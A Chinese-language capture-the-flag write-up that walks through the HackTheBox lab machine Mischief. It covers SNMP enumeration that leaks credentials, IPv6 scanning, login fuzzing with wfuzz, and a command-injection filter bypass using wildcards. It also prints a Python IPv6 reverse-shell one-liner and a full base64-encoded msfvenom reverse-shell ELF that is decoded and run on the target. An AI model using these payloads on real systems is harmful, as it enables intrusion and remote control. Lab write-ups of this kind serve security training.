【HTB系列】靶机Mischief的渗透测试详解

 这次的目标靶机是 hackthebox的 Mischief

IP地址:10.10.10.92

======================================================================================

首先我们用nmap对目标机器进行扫描

nmap -T4 -sV -p- 10.10.10.92

 

我们访问3366

http://10.10.10.92:3366

发需要一个登陆凭证

 

好像没有什么额外的信息,那么我们用Nmap扫下UDP端口看看有没有什么收获

nmap -sU 10.10.10.92

 

 

发现目标靶机开启了snmp服务,我们在详细看看靶机上snmp上的信息

nmap -sU -sV -p 161 10.10.10.92

这里看到靶机开启了2个版本的snmpV1和snmpV1,v3版本是增加了安全机制的,所以我们使用v1来获取信息

那么接下来我们用snmpwalk来采集下信息

snmpwalk -c public -v 2c 10.10.10.92     (这里-v 我1或者2c都行关系)

-v 指定snmp版本    -c指定连接设备的snmp密码

 

当然你为了查找方便 也可以这样

snmpwalk -c public -v 2c 10.10.10.92 > 10-10-10-92.txt
先把结果导出到一个文件

cat 10-10-10-92.txt | grep 3366
然后在grep下

 

在这里我们找到了登陆凭证

用户名: loki 密码: godofmischiefisloki

 

 

我们获得了新的凭证,说明我们还要找能使用这些凭证的地方

 

我们注意到在snmp枚举中,我们看到Apache正则运行但是我们无法访问它,所以apache应该在监听的是IPV6的地址而且在刚刚smpwalk的结果中的确也发现出现了IPV6的地址,所以我们需要找到这个地址

 

这里我们找到了这个靶机的创造者写的一个

snmp IPV6枚举工具

https://github.com/trickster0/Enyx

 

我们用nmap对这个地址在扫描下

nmap -p- -6 dead:beef:0000:0000:0250:56ff:feb9:8283

#-p- 表示扫描所有端口
#-6 表示扫描的是ipv6的地址

发现开放了22和80端口,那么我们对这2个端口在详细扫描下

nmap -p 80,22 -6 -sV -sC -oA nmap.dead:beef:0000:0000:0250:56ff:feb9:8283 dead:beef:0000:0000:0250:56ff:feb9:8283
#-p 80,22 指定扫描端口
#-6 扫描ipv6的地址
#-sV 探测开启的端口来获取服务、版本信息
#-sC 脚本扫描等同于--script=default
#-oA 三种格式输出报告  这里我命名为nmap.dead:beef:0000:0000:0250:56ff:feb9:8283 

我们登陆下网站

 

 

这这里我们看到URL的里面IPV6的变化我们的地址

dead:beef:0000:0000:0250:56ff:feb9:8283变成dead:beef::0250:56ff:feb9:8283

【如果IPV6有连续的零字段,则可以使用两个冒号来编写它们】

 

 

之后试了2个账号密码发现都是错的,猜测可能是用户名有问题

我们Ctrl+u看下网页源码,找下账号密码的表单名叫什么

 

这里我用wfuzz

然后使用来自Seclistsd的常用短用户列表来进行用户名模糊

https://github.com/sdfzy/SecLists

分别把这2个密码带入FUZZ

wfuzz -w SecLists/Usernames/top-usernames-shortlist.txt  -d "user=FUZZ&password=trickeryanddeceit" --sc 302 http://[dead:beef::250:56ff:feb9:8283]/login.php


#-w 加载字典文件
#-d POST的数据      FUZZ是要模糊测试的标志位
#--sc 筛选出响应码为302的结果

可以看出密码:trickeryanddeceit  出现了结果

 

使用凭据(administrator:trickeryanddeceit)登录。

 

我们执行ls发现被拒绝了

我们可以用shell通配符绕过    如星号*和问号?,分别为零个或多个字符和单个字符

/bin/?s -la /home/loki; ping -c 2 127.0.0.1

 

根据

这个提示我们找下  对应的文件 

 

我们来获取下里面的内容

但是发现用cat 获取credentials内容是被禁止的,然后反复尝试,之下下列语句即可

/bin/cat /home/loki/c* &&ping -c 2 127.0.0.1

 

当然你也可以用base64 编码  然后在解密它

base64 /home/loki/c*; ping -c 2 127.0.0.1

解密如下:

 

然后我们登陆ssh

得到user标志

 

我们getfacl loki对su sudo的权限

发现就只有可读权限

那我们换条路,通过刚刚的命令执行面板来反弹一个shell

这里我们的kali要用ncat(nmap提供的)来监听ipv6而不是nc

 

【不知道为什么反弹shell的步骤没有成功,找不到原因,接下来的内容是引用别的大佬的wp】

一种是通过python来反弹shell:

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1000",3535,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

然后ncat 监听

ncat -6 -l dead:beef:2::1001 3535

 

还有一种是通过msf反弹

先生成payload

msfvenom -p linux/x86/shell_reverse_tcp_ipv6 LHOST=dead:beef:2::116a LPORT=1234 -f elf -o rev

然后ncat监听

ncat -6 -lnvp 1234

我们要先对payload进行base64编码方便传送

cat rev |base64

f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAA
AAAAAIAECACABAjyAAAAkAEAAAcAAAAAEAAAMdv342oGagFqConhsGazAc2AicYxyTHbU1NocR3o
wWgtv+UkaHABFEBoIAEZ8FNmaCK4ZmgKAInhahxRVjHbMcCwZrMDieHNgDHbOdh1NjHJ9+GJ87A/
zYAxwEGJ87A/zYAxwEGJ87A/zYAx0vfiUmgvL3NoaC9iaW6J41JTieGwC82AwzHbU2oK9+OJ47Ci
zYDpff///8MxwLABzYA=

然后通过命令传过去并解码保存

echo f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAA
AAAAAIAECACABAjyAAAAkAEAAAcAAAAAEAAAMdv342oGagFqConhsGazAc2AicYxyTHbU1NocR3o
wWgtv+UkaHABFEBoIAEZ8FNmaCK4ZmgKAInhahxRVjHbMcCwZrMDieHNgDHbOdh1NjHJ9+GJ87A/
zYAxwEGJ87A/zYAxwEGJ87A/zYAx0vfiUmgvL3NoaC9iaW6J41JTieGwC82AwzHbU2oK9+OJ47Ci
zYDpff///8MxwLABzYA=
 | base64 -d >/tmp/rev; ping -c 2 127.0.0.1

然后在更改下权限

/bin/?hm?d 777 /tmp/rev; ping -c 2 127.0.0.1

最后执行shell

/tmp/rev; ping -c 2 127.0.0.1

 

我们用loki的ssh在.bash_history中找到一个有趣的东西,可能是root密码

我们试着su -

发现被禁止

那么我们用反弹的shell试试

成功!

cat下root.txt

提示说flag不在这

 

那我们用find命令找下

 

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值